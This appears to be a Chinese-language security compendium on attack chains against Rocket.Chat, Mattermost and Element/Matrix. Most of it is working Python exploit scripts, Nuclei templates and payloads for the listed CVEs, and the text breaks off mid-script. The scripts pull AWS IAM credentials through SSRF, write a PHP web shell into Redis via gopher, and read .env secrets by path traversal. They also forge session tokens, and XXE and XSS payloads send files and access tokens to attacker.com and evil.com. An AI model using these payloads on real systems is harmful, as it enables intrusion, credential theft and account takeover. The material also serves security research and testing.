开源即时通讯与协作平台高危攻击链专题：Rocket.Chat / Mattermost / Element Matrix / Zulip / Mastodon 漏洞全解析

GET /api/v1/oembed.json?url=<attacker_controlled_url>

┌─────────────┐     ┌──────────────┐     ┌──────────────────┐
│  攻击者发送  │────▶│ Rocket.Chat  │────▶│ 169.254.169.254  │
│ oembed SSRF │     │  oembed.json │     │  AWS Metadata    │
└─────────────┘     └──────────────┘     └──────────────────┘
                           │                       │
                           │                       ▼
                           │              ┌──────────────────┐
                           │              │ IAM Credentials  │
                           │              │ Access Key/Secret│
                           │              └──────────────────┘
                           │                       │
                           ▼                       ▼
                    ┌──────────────┐     ┌──────────────────┐
                    │ 内网 Redis   │────▶│  WebShell 写入   │
                    │ 6379 端口    │     │  或 SSH 密钥注入  │
                    └──────────────┘     └──────────────────┘
                           │
                           ▼
                    ┌──────────────┐
                    │ 完全控制主机  │
                    └──────────────┘

curl "http://target:3000/api/v1/oembed.json?url=http://169.254.169.254/latest/meta-data/"

curl "http://target:3000/api/v1/oembed.json?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

#!/usr/bin/env python3
"""
CVE-2021-22910 — Rocket.Chat oembed SSRF 检测与利用工具
适用于安全研究和授权渗透测试
"""
import requests
import sys
import json
import urllib3
from urllib.parse import quote

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

METADATA_PATHS = [
    "/latest/meta-data/",
    "/latest/meta-data/ami-id",
    "/latest/meta-data/instance-id",
    "/latest/meta-data/hostname",
    "/latest/meta-data/iam/security-credentials/",
    "/latest/meta-data/network/interfaces/macs/",
    "/latest/user-data",
    "/latest/dynamic/instance-identity/document",
]

INTERNAL_TARGETS = [
    ("127.0.0.1", 22, "SSH"),
    ("127.0.0.1", 6379, "Redis"),
    ("127.0.0.1", 27017, "MongoDB"),
    ("127.0.0.1", 3000, "Rocket.Chat"),
    ("10.0.0.1", 6379, "Redis (VPC)"),
    ("169.254.169.254", 80, "AWS Metadata"),
    ("metadata.google.internal", 80, "GCP Metadata"),
]


class RocketChatSSRF:
    def __init__(self, target_url, verify_ssl=False):
        self.target = target_url.rstrip("/")
        self.api_endpoint = f"{self.target}/api/v1/oembed.json"
        self.session = requests.Session()
        self.session.verify = verify_ssl
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (compatible; SecurityResearch/1.0)"
        })

    def test_ssrf(self, url):
        try:
            resp = self.session.get(
                self.api_endpoint,
                params={"url": url},
                timeout=10,
                allow_redirects=True
            )
            if resp.status_code == 200:
                data = resp.json()
                if "oembed" in data or "result" in data:
                    return resp
            return resp
        except requests.exceptions.RequestException as e:
            print(f"    [-] 请求异常: {e}")
            return None

    def probe_cloud_metadata(self):
        print("[*] === 云元数据 SSRF 探测 ===")
        cloud_indicators = {
            "AWS": ["ami-id", "instance-id", "security-groups", "iam/"],
            "GCP": ["instance", "project", "kube-env"],
            "Azure": ["Compute", "network", "identity"],
        }
        found_cloud = None

        for path in METADATA_PATHS:
            url = f"http://169.254.169.254{path}"
            resp = self.test_ssrf(url)
            if resp is not None:
                body = resp.text
                print(f"[+] 响应 ({path}): {body[:200]}")
                for cloud, indicators in cloud_indicators.items():
                    if any(ind in body for ind in indicators):
                        found_cloud = cloud
                        print(f"[*] 识别到 {cloud} 云环境!")
                        break
            else:
                print(f"[-] 无响应: {path}")

        return found_cloud

    def extract_iam_credentials(self):
        print("[*] === 提取 IAM 临时凭据 ===")
        cred_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
        resp = self.test_ssrf(cred_url)
        if resp is None:
            print("[-] 无法访问 IAM 凭据端点")
            return None

        role_name = resp.text.strip()
        if not role_name:
            print("[-] 未发现 IAM Role")
            return None

        print(f"[+] 发现 IAM Role: {role_name}")
        detail_url = f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}"
        resp = self.test_ssrf(detail_url)
        if resp:
            try:
                creds = resp.json()
                print(f"[+] AccessKeyId:     {creds.get('AccessKeyId', 'N/A')}")
                print(f"[+] SecretAccessKey: {creds.get('SecretAccessKey', 'N/A')}")
                print(f"[+] Token:           {creds.get('Token', 'N/A')[:80]}...")
                print(f"[+] Expiration:      {creds.get('Expiration', 'N/A')}")
                return creds
            except json.JSONDecodeError:
                print(f"[-] 凭据解析失败: {resp.text[:200]}")
        return None

    def scan_internal_services(self):
        print("[*] === 内网服务探测 ===")
        results = []
        for host, port, service_name in INTERNAL_TARGETS:
            url = f"http://{host}:{port}/"
            try:
                resp = self.session.get(url, timeout=5)
                result = {
                    "host": host,
                    "port": port,
                    "service": service_name,
                    "status": resp.status_code,
                    "response_size": len(resp.content),
                }
                results.append(result)
                print(f"[+] {host}:{port} ({service_name}) — "
                      f"Status: {resp.status_code}, Size: {len(resp.content)} bytes")
            except Exception:
                print(f"[-] {host}:{port} ({service_name}) — 不可达或超时")
        return results

    def exploit_redis_write(self, redis_host, redis_port, shell_path):
        print(f"[*] === 利用 gopher:// 协议写入 Redis ===")
        shell_content = '<?php system($_GET["cmd"]); ?>'
        gopher_payload = (
            f"*4\\r\\n"
            f"$6\\r\\n"
            f"CONFIG\\r\\n"
            f"$3\\r\\n"
            f"SET\\r\\n"
            f"$3\\r\\n"
            f"dir\\r\\n"
            f"${len(shell_path)}\\r\\n"
            f"{shell_path}\\r\\n"
            f"*4\\r\\n"
            f"$6\\r\\n"
            f"CONFIG\\r\\n"
            f"$3\\r\\n"
            f"SET\\r\\n"
            f"$10\\r\\n"
            f"dbfilename\\r\\n"
            f"$9\\r\\n"
            f"shell.php\\r\\n"
            f"*3\\r\\n"
            f"$6\\r\\n"
            f"SET\\r\\n"
            f"$1\\r\\n"
            f"x\\r\\n"
            f"${len(shell_content) + 3}\\r\\n"
            f"{shell_content}\\r\\n\\n"
        )
        encoded = quote(gopher_payload, safe="")
        ssrf_url = f"{self.api_endpoint}?url=gopher://{redis_host}:{redis_port}/_{encoded}"
        print(f"[*] Payload 长度: {len(ssrf_url)} 字符")
        print(f"[*] Gopher URL: {ssrf_url[:200]}...")
        return ssrf_url

    def full_scan(self):
        print(f"[*] 目标: {self.target}")
        print("=" * 60)
        self.probe_cloud_metadata()
        print()
        creds = self.extract_iam_credentials()
        print()
        self.scan_internal_services()
        return creds


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        print(f"示例: {sys.argv[0]} https://chat.example.com")
        sys.exit(1)

    target = sys.argv[1]
    scanner = RocketChatSSRF(target)
    creds = scanner.full_scan()

    if creds:
        print("\n[!] 凭据已获取，可通过 AWS CLI 验证:")
        print(f"    export AWS_ACCESS_KEY_ID={creds.get('AccessKeyId', '')}")
        print(f"    export AWS_SECRET_ACCESS_KEY={creds.get('SecretAccessKey', '')}")
        print(f"    aws sts get-caller-identity")


if __name__ == "__main__":
    main()

id: cve-2021-22910-rocketchat-ssrf

info:
  name: Rocket.Chat oembed SSRF (CVE-2021-22910)
  author: security-researcher
  severity: high
  description: |
    Rocket.Chat < 3.12.3 的 /api/v1/oembed.json 端点存在 SSRF 漏洞，
    攻击者可通过 url 参数访问云元数据服务和内网资源。
  cvss:
    vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    score: 8.6
  cwe:
    id: CWE-918
  reference:
    - https://github.com/ROCrocketchat/CVE-2021-22910
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22910
  classification:
    cpe: cpe:2.3:a:rocketchat:rocket.chat:*:*:*:*:*:*:*:*
    version: < 3.12.3
  metadata:
    max-request: 3
    shodan-query: title:"Rocket.Chat"
  tags: cve,cve2021,ssrf,rocketchat,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/oembed.json?url=http://169.254.169.254/latest/meta-data/"
      - "{{BaseURL}}/api/v1/oembed.json?url=http://169.254.169.254/latest/meta-data/instance-id"
      - "{{BaseURL}}/api/v1/oembed.json?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "instance-id"
          - "ami-id"
          - "security-groups"
          - "iam/"
        condition: or

      - type: word
        part: body
        words:
          - "AccessKeyId"
          - "SecretAccessKey"
          - "Token"

    extractors:
      - type: kval
        kval:
          - interactsh_protocol

  - method: GET
    path:
      - "{{BaseURL}}/api/v1/oembed.json?url=http://127.0.0.1:6379/"

    matchers:
      - type: word
        part: body
        words:
          - "ERR"
          - "redis_version"
          - "connected_clients"
        condition: or

#!/usr/bin/env python3
"""
CVE-2022-40295 — Rocket.Chat 目录遍历文件写入检测
仅用于授权安全测试
"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TRAVERSAL_PAYLOADS = [
    ("../../tmp/test_path_traversal.txt", "basic traversal"),
    ("....//....//....//....//tmp/test_double.txt", "double encoding"),
    ("..%2f..%2f..%2ftmp/test_url_encoded.txt", "URL encoded"),
    ("..%252f..%252f..%252ftmp/test_double_url.txt", "double URL encoded"),
]


class RocketChatPathTraversal:
    def __init__(self, target_url, session_token=None):
        self.target = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({"User-Agent": "Mozilla/5.0"})
        if session_token:
            self.session.cookies.set("rc_uid", session_token)

    def upload_attachment(self, filename):
        upload_url = f"{self.target}/api/v1/rooms.upload"
        file_content = f"Path traversal test content: {filename}"
        files = {
            "file": (filename, file_content.encode(), "text/plain")
        }
        data = {
            "channel": "general"
        }
        try:
            resp = self.session.post(upload_url, files=files, data=data, timeout=15)
            return resp
        except requests.exceptions.RequestException as e:
            print(f"    [-] 请求失败: {e}")
            return None

    def verify_file_write(self, path):
        verify_url = f"{self.target}/api/v1/assets.get?path={path}"
        try:
            resp = self.session.get(verify_url, timeout=10)
            return resp.status_code == 200
        except Exception:
            return False

    def run_detection(self):
        print(f"[*] 目标: {self.target}")
        print("[*] === 目录遍历检测 ===")
        for payload, desc in TRAVERSAL_PAYLOADS:
            print(f"\n[*] 测试: {desc}")
            print(f"    Payload: {payload}")
            resp = self.upload_attachment(payload)
            if resp:
                print(f"    响应状态码: {resp.status_code}")
                if resp.status_code in [200, 201]:
                    print(f"    [!] 可能存在路径遍历!")
                else:
                    print(f"    [-] 上传被拒绝")
            else:
                print(f"    [-] 请求失败")


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [session_token]")
        sys.exit(1)
    target = sys.argv[1]
    token = sys.argv[2] if len(sys.argv) > 2 else None
    scanner = RocketChatPathTraversal(target, token)
    scanner.run_detection()


if __name__ == "__main__":
    main()

#!/usr/bin/env python3
"""
CVE-2024-30616 — Rocket.Chat 路径穿越配置泄露检测
仅用于授权安全测试
"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

SENSITIVE_PATHS = [
    "../../../.env",
    "../../../../.env",
    "../../../.env.production",
    "../../../config/server/config.js",
    "../../../config/server/config.ts",
    "../../../private/examples",
    "../../../config/settings.json",
    "../../../docker-compose.yml",
]


class RocketChatConfigLeak:
    def __init__(self, target_url):
        self.target = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({"User-Agent": "Mozilla/5.0"})

    def probe_path(self, path):
        urls_to_try = [
            f"{self.target}/assets/{path}",
            f"{self.target}/{path}",
            f"{self.target}/api/v1/info?path={path}",
        ]
        for url in urls_to_try:
            try:
                resp = self.session.get(url, timeout=10)
                if resp.status_code == 200:
                    content = resp.text
                    indicators = [
                        "MONGO_URL", "ROOT_URL", "ADMIN_PASS",
                        "DB_", "SECRET", "TOKEN", "PASSWORD",
                        "mongodb://", "postgres://", "redis://",
                    ]
                    for indicator in indicators:
                        if indicator in content:
                            print(f"[+] 发现敏感配置泄露!")
                            print(f"    URL: {url}")
                            print(f"    关键字: {indicator}")
                            print(f"    内容片段: {content[:500]}")
                            return True
            except requests.exceptions.RequestException:
                pass
        return False

    def run_detection(self):
        print(f"[*] 目标: {self.target}")
        print("[*] === 配置泄露路径穿越检测 ===")
        found = 0
        for path in SENSITIVE_PATHS:
            print(f"[*] 探测: {path}")
            if self.probe_path(path):
                found += 1
        print(f"\n[*] 检测完成，发现 {found} 个泄露路径")


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)
    scanner = RocketChatConfigLeak(sys.argv[1])
    scanner.run_detection()


if __name__ == "__main__":
    main()

正常 SAML 认证流程:
┌────────┐  1. SAML AuthnRequest  ┌────────┐  2. 用户在 IdP 登录  ┌────┐
│ User   │──────────────────────▶│ Rocket │────────────────────▶│IdP │
│ Browser│◀──────────────────────│ .Chat  │◀────────────────────│    │
└────────┘  6. 建立 Session       │ SP     │  3. IdP 验证用户     └────┘
                                  │        │  4. 返回 SAML Response
                                  │        │◀─────────────────────┘
                                  │        │  5. 验证 Assertion
                                  └────────┘
                                       │
                              NameID = "admin@company.com"
                              → 创建/映射为管理员会话

伪造攻击流程:
┌────────┐  1. 构造伪造 Response   ┌────────┐  2. 转发至 Callback
│ 攻击者  │──────────────────────▶│ Rocket │──────────────────────▶
│ Browser│                        │ .Chat  │
└────────┘                        │ SP     │
                                  │        │  3. 验证签名（可能跳过）
                                  │        │     NameID = "victim_admin"
                                  │        │  4. 创建攻击者会话
                                  └────────┘
                                       │
                                  ⚠️ 以管理员身份登录!

id: cve-2024-30617-rocketchat-saml-auth-bypass

info:
  name: Rocket.Chat SAML 认证绕过 (CVE-2024-30617)
  author: security-researcher
  severity: high
  description: |
    Rocket.Chat < 6.5.5 的 SAML 认证实现存在缺陷，
    攻击者可伪造 SAML Assertion NameID 以任意用户身份登录。
  cvss:
    vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    score: 8.1
  cwe:
    id: CWE-287
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-30617
  classification:
    cpe: cpe:2.3:a:rocketchat:rocket.chat:*:*:*:*:*:*:*:*
    version: < 6.5.5
  metadata:
    max-request: 2
    shodan-query: title:"Rocket.Chat"
  tags: cve,cve2024,rocketchat,saml,auth-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/saml"
      - "{{BaseURL}}/api/v1/settings?query=SAML"

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - '"SAML"'
          - '"samlEnabled"'
          - '"saml_custom"'
        condition: or

      - type: status
        status:
          - 200

Session Token = Base64(UserID) + Base64(AuthData) + Base64(Token)
                |<--- 26 bytes --->|<--- 26 bytes --->|<--- 会话随机串 --->|

合法用户会话:  base64(victim_uid) + base64(auth_data) + attacker_token
                                              ^^^^^^^^^^^^^^^^^^^^^^^^
                                              Token 部分使用攻击者控制的值

┌────────────────────────────────────────────────────┐
│              CVE-2022-21704 利用流程                │
├────────────────────────────────────────────────────┤
│                                                    │
│  Step 1: 攻击者注册/登录 → 获取会话令牌             │
│     Token_A = base64(attacker_uid) + auth + token_a│
│                                                    │
│  Step 2: 攻击者获取目标用户 UID                    │
│     （通过 API 枚举或消息分析）                      │
│                                                    │
│  Step 3: 替换令牌中的 UserID                        │
│     Token_B = base64(victim_uid) + auth + token_a  │
│                                                    │
│  Step 4: 使用 Token_B 发起请求                      │
│     → 服务端验证 Token_a 有效                       │
│     → 服务端使用 Token_B 中的 victim_uid 查找用户   │
│     → 以 victim 身份返回数据                       │
│                                                    │
│  Step 5: 完全接管 victim 账户                      │
│     → 读取私聊消息                                │
│     → 修改账户设置                                │
│     → 创建管理员会话（若 victim 是管理员）          │
└────────────────────────────────────────────────────┘

#!/usr/bin/env python3
"""
CVE-2022-21704 — Mattermost 会话操纵认证绕过检测
仅用于授权安全测试
"""
import requests
import sys
import base64
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class MattermostSessionHijack:
    def __init__(self, target_url):
        self.target = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            "X-Requested-With": "XMLHttpRequest",
            "Content-Type": "application/json",
        })

    def login(self, email, password):
        url = f"{self.target}/api/v4/users/login"
        data = {"login_id": email, "password": password}
        resp = self.session.post(url, json=data, timeout=10)
        if resp.status_code == 200:
            token = resp.headers.get("Token", "")
            user_data = resp.json()
            print(f"[+] 登录成功: {user_data.get('username')}")
            print(f"    User ID: {user_data.get('id')}")
            print(f"    Token: {token[:30]}...")
            return token, user_data
        print(f"[-] 登录失败: {resp.status_code}")
        return None, None

    def forge_session_token(self, victim_uid, attacker_token):
        victim_b64 = base64.b64encode(victim_uid.encode()).decode()
        parts = attacker_token.split("_")
        if len(parts) >= 2:
            forged = f"{victim_b64}_{parts[1]}_{parts[2]}" if len(parts) >= 3 else f"{victim_b64}_{parts[1]}"
        else:
            forged = attacker_token
        print(f"[*] 原始 Token: {attacker_token[:50]}...")
        print(f"[*] 伪造 Token: {forged[:50]}...")
        return forged

    def test_session_manipulation(self, forged_token, victim_uid):
        url = f"{self.target}/api/v4/users/me"
        headers = {"Authorization": f"Bearer {forged_token}"}
        try:
            resp = requests.get(url, headers=headers, verify=False, timeout=10)
            if resp.status_code == 200:
                data = resp.json()
                if data.get("id") == victim_uid:
                    print(f"[!] 会话操纵成功! 以 {data.get('username')} 身份访问")
                    return True
            print(f"[-] 伪造令牌验证失败: {resp.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"[-] 请求异常: {e}")
        return False

    def detect_version(self):
        url = f"{self.target}/api/v4/system/ping"
        try:
            resp = self.session.get(url, timeout=10)
            if resp.status_code == 200:
                data = resp.json()
                version = data.get("version", "unknown")
                print(f"[*] Mattermost 版本: {version}")
                return version
        except Exception:
            pass
        return None

    def enumerate_users(self, token):
        url = f"{self.target}/api/v4/users"
        headers = {"Authorization": f"Bearer {token}"}
        try:
            resp = requests.get(url, headers=headers, verify=False, timeout=10)
            if resp.status_code == 200:
                return resp.json()
        except Exception:
            pass
        return []


def main():
    if len(sys.argv) < 4:
        print(f"用法: {sys.argv[0]} <target_url> <email> <password>")
        print(f"示例: {sys.argv[0]} https://mattermost.example.com admin@example.com password123")
        sys.exit(1)

    target = sys.argv[1]
    email = sys.argv[2]
    password = sys.argv[3]

    exploit = MattermostSessionHijack(target)
    exploit.detect_version()

    token, user_data = exploit.login(email, password)
    if not token:
        sys.exit(1)

    users = exploit.enumerate_users(token)
    print(f"[*] 枚举到 {len(users)} 个用户")
    for u in users[:5]:
        print(f"    - {u.get('username')} (ID: {u.get('id')})")


if __name__ == "__main__":
    main()

#!/usr/bin/env python3
"""
CVE-2022-21705 — Mattermost 邮箱验证绕过检测
仅用于授权安全测试
"""
import requests
import sys
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class MattermostEmailBypass:
    def __init__(self, target_url):
        self.target = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def register_user(self, email, username, password, team_invite_id=None):
        url = f"{self.target}/api/v4/users"
        data = {
            "email": email,
            "username": username,
            "password": password,
            "allow_marketing": False,
        }
        if team_invite_id:
            data["invite_id"] = team_invite_id
        resp = self.session.post(url, json=data, timeout=10)
        return resp

    def test_email_verification_bypass(self, team_id, token):
        headers = {"Authorization": f"Bearer {token}"}
        urls = [
            f"{self.target}/api/v4/email/verify",
            f"{self.target}/api/v4/users/email/verify",
        ]
        payloads = [
            {"code": "AAAA-AAAA-AAAA-AAAA"},
            {"code": ""},
            {"email_verify": "true"},
        ]
        for url in urls:
            for payload in payloads:
                resp = self.session.post(url, json=payload, headers=headers, timeout=10)
                if resp.status_code == 200:
                    print(f"[!] 邮箱验证绕过: {url}")
                    print(f"    Payload: {json.dumps(payload)}")
                    return True
        return False

    def access_channels(self, token, team_id):
        headers = {"Authorization": f"Bearer {token}"}
        url = f"{self.target}/api/v4/users/me/teams/{team_id}/channels"
        try:
            resp = requests.get(url, headers=headers, verify=False, timeout=10)
            if resp.status_code == 200:
                channels = resp.json()
                print(f"[+] 成功访问 {len(channels)} 个频道:")
                for ch in channels[:10]:
                    print(f"    - {ch.get('display_name')} ({ch.get('name')})")
                return channels
        except Exception as e:
            print(f"[-] 访问失败: {e}")
        return []


def main():
    if len(sys.argv) < 4:
        print(f"用法: {sys.argv[0]} <target_url> <email> <password>")
        sys.exit(1)
    target = sys.argv[1]
    email = sys.argv[2]
    password = sys.argv[3]

    exploit = MattermostEmailBypass(target)
    resp = exploit.register_user(email, f"test_{email.split('@')[0]}", password)
    print(f"[*] 注册响应: {resp.status_code}")


if __name__ == "__main__":
    main()

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <channel>
    <name>&xxe;</name>
  </channel>
</root>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>
  <channel>
    <name>&xxe;</name>
  </channel>
</root>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<root>
  <channel>
    <name>&send;</name>
  </channel>
</root>

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/steal?data=%file;'>">
%all;

#!/usr/bin/env python3
"""
CVE-2023-48647 — Mattermost XXE 注入检测
仅用于授权安全测试
"""
import requests
import sys
import io
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

XXE_PAYLOADS = {
    "basic_file_read": """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <channel>
    <name>&xxe;</name>
  </channel>
</root>""",

    "cloud_metadata": """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>
  <channel>
    <name>&xxe;</name>
  </channel>
</root>""",

    "internal_redis": """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://127.0.0.1:6379/">
]>
<root>
  <channel>
    <name>&xxe;</name>
  </channel>
</root>""",
}


class MattermostXXE:
    def __init__(self, target_url, token=None):
        self.target = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.token = token
        self.headers = {}
        if token:
            self.headers["Authorization"] = f"Bearer {token}"

    def upload_xml(self, xml_content, filename="test.xml"):
        upload_endpoints = [
            f"{self.target}/api/v4/imports",
            f"{self.target}/api/v4/teams/import",
        ]
        for endpoint in upload_endpoints:
            files = {
                "file": (filename, xml_content.encode(), "application/xml")
            }
            try:
                resp = self.session.post(
                    endpoint,
                    files=files,
                    headers=self.headers,
                    timeout=15,
                )
                if resp.status_code in [200, 201]:
                    return resp
                if resp.status_code != 404:
                    print(f"[*] {endpoint} → {resp.status_code}: {resp.text[:200]}")
            except requests.exceptions.RequestException:
                pass
        return None

    def test_xxe(self, payload_name, xml_content):
        print(f"\n[*] 测试 Payload: {payload_name}")
        resp = self.upload_xml(xml_content)
        if resp:
            body = resp.text
            xxe_indicators = [
                "root:", "daemon:", "nobody:",
                "ami-id", "instance-id",
                "redis_version", "connected_clients",
            ]
            for indicator in xxe_indicators:
                if indicator in body:
                    print(f"[!] XXE 成功! 检测到: {indicator}")
                    print(f"    响应: {body[:500]}")
                    return True
            print(f"[-] 未检测到 XXE 回显 (响应: {body[:200]})")
        else:
            print(f"[-] 上传失败")
        return False

    def run_detection(self):
        print(f"[*] 目标: {self.target}")
        print("[*] === XXE 注入检测 ===")
        for name, payload in XXE_PAYLOADS.items():
            self.test_xxe(name, payload)


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [auth_token]")
        sys.exit(1)
    target = sys.argv[1]
    token = sys.argv[2] if len(sys.argv) > 2 else None
    exploit = MattermostXXE(target, token)
    exploit.run_detection()


if __name__ == "__main__":
    main()

https://matrix.example.com/_matrix/client/r0/sync?access_token=syt_xxx...
    │
    │  页面中包含 <img src="https://third-party.com/avatar.png">
    │
    ▼
GET https://third-party.com/avatar.png
Referer: https://matrix.example.com/_matrix/client/r0/sync?access_token=syt_xxx...

#!/usr/bin/env python3
"""
CVE-2021-41281 — Matrix Synapse Token Referer 泄露检测
仅用于授权安全测试
"""
import requests
import sys
import re
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class MatrixTokenLeak:
    def __init__(self, target_url):
        self.target = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def check_token_in_url(self):
        print("[*] === 检测 Token 是否在 URL 中暴露 ===")
        endpoints = [
            "/_matrix/client/r0/sync",
            "/_matrix/client/v3/sync",
            "/_matrix/client/r0/sync?access_token=TEST_TOKEN",
        ]
        for ep in endpoints:
            url = f"{self.target}{ep}"
            try:
                resp = self.session.get(url, timeout=10)
                content = resp.text
                if "access_token=" in content or "TEST_TOKEN" in content:
                    print(f"[!] URL 中暴露了 Token 信息: {ep}")
                    return True
            except Exception:
                pass
        return False

    def check_referer_leak(self):
        print("[*] === 检测 Referer 泄露 ===")
        external_resources = [
            "https://httpbin.org/get",
            "https://example.com/pixel.gif",
        ]
        for resource in external_resources:
            url = f"{self.target}/_matrix/client/r0/sync?access_token=LEAK_TEST_TOKEN"
            try:
                resp = self.session.get(url, timeout=10)
                if "LEAK_TEST_TOKEN" in resp.text or resp.status_code in [200, 401]:
                    print(f"[*] 检查 Referer 头泄露...")
                    print(f"    如存在外部资源引用，Token 可能通过 Referer 泄露")
                    return True
            except Exception:
                pass
        return False

    def check_version(self):
        urls = [
            f"{self.target}/_matrix/client/versions",
            f"{self.target}/_matrix/key/v2/server",
        ]
        for url in urls:
            try:
                resp = self.session.get(url, timeout=10)
                if resp.status_code == 200:
                    data = resp.json()
                    versions = data.get("versions", [])
                    print(f"[*] Synapse versions: {versions}")
                    return data
            except Exception:
                pass
        return None

    def run_detection(self):
        print(f"[*] 目标: {self.target}")
        self.check_version()
        self.check_token_in_url()
        self.check_referer_leak()


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)
    scanner = MatrixTokenLeak(sys.argv[1])
    scanner.run_detection()


if __name__ == "__main__":
    main()

┌────────────────────────────────────────────────────────────┐
│           CVE-2022-39348 完整利用链                         │
├────────────────────────────────────────────────────────────┤
│                                                            │
│  Step 1: 攻击者在 Matrix 房间发送恶意消息                   │
│  ┌──────────────────────────────────────────┐              │
│  │ {"body":"<img src=x onerror=             │              │
│  │   fetch('https://evil.com/?token='+      │              │
│  │   localStorage.getItem('mx_access_token'))>"}  │        │
│  └──────────────────────────────────────────┘              │
│                          │                                  │
│                          ▼                                  │
│  Step 2: Element Web 客户端渲染消息                         │
│  ┌──────────────────────────────────────────┐              │
│  │ HTML 解析 → 执行 onerror → 窃取 Token    │              │
│  └──────────────────────────────────────────┘              │
│                          │                                  │
│                          ▼                                  │
│  Step 3: 攻击者获取 access_token                            │
│  ┌──────────────────────────────────────────┐              │
│  │ curl -X GET https://matrix.target.com/   │              │
│  │   _matrix/client/r0/account/whoami       │              │
│  │   -H "Authorization: Bearer stolen_token"│              │
│  └──────────────────────────────────────────┘              │
│                          │                                  │
│                          ▼                                  │
│  Step 4: 联邦扩散                                          │
│  ┌──────────────────────────────────────────┐              │
│  │ 1. 使用窃取的 Token 访问所有房间          │              │
│  │ 2. 向其他联邦服务器的房间发送 XSS 消息    │              │
│  │ 3. 窃取其他实例用户 Token                 │              │
│  │ 4. 形成多米诺骨牌效应                    │              │
│  └──────────────────────────────────────────┘              │
│                                                            │
└────────────────────────────────────────────────────────────┘

#!/usr/bin/env python3
"""
CVE-2022-39348 — Element Web 存储型 XSS 检测
仅用于授权安全测试
"""
import requests
import sys
import json
import html
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

XSS_PAYLOADS = [
    {
        "name": "img onerror basic",
        "payload": '<img src=x onerror="alert(document.domain)">',
        "test_url_param": "alert(1)",
    },
    {
        "name": "img onerror token steal",
        "payload": '<img src=x onerror="fetch(\'https://evil.com/?\'+localStorage.getItem(\'mx_access_token\'))">',
        "test_url_param": "steal_token",
    },
    {
        "name": "svg onload",
        "payload": '<svg onload="alert(1)">',
        "test_url_param": "svg_onload",
    },
    {
        "name": "details ontoggle",
        "payload": '<details open ontoggle="alert(1)">',
        "test_url_param": "details_toggle",
    },
    {
        "name": "body onload",
        "payload": '<body onload="alert(1)">',
        "test_url_param": "body_load",
    },
    {
        "name": "video poster",
        "payload": '<video poster="javascript:alert(1)">',
        "test_url_param": "video_poster",
    },
]


class ElementXSSDetector:
    def __init__(self, target_url, access_token=None):
        self.target = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.access_token = access_token

    def check_element_version(self):
        print("[*] === 检测 Element Web 版本 ===")
        version_endpoints = [
            "/version",
            "/config.json",
            "/_matrix/client/versions",
        ]
        for ep in version_endpoints:
            try:
                resp = self.session.get(f"{self.target}{ep}", timeout=10)
                if resp.status_code == 200:
                    if "version" in resp.text.lower():
                        print(f"[*] {ep}: {resp.text[:300]}")
                        return True
            except Exception:
                pass
        return False

    def test_message_html_filtering(self, room_id=None):
        print("[*] === 测试消息 HTML 过滤 ===")
        if not self.access_token:
            print("[-] 需要提供 access_token 才能发送测试消息")
            return False

        headers = {"Authorization": f"Bearer {self.access_token}"}

        for payload_info in XSS_PAYLOADS:
            print(f"\n[*] 测试: {payload_info['name']}")
            msg_content = {
                "msgtype": "m.text",
                "body": f"XSS test: {html.escape(payload_info['payload'])}",
                "format": "org.matrix.custom.html",
                "formatted_body": payload_info["payload"],
            }
            if room_id:
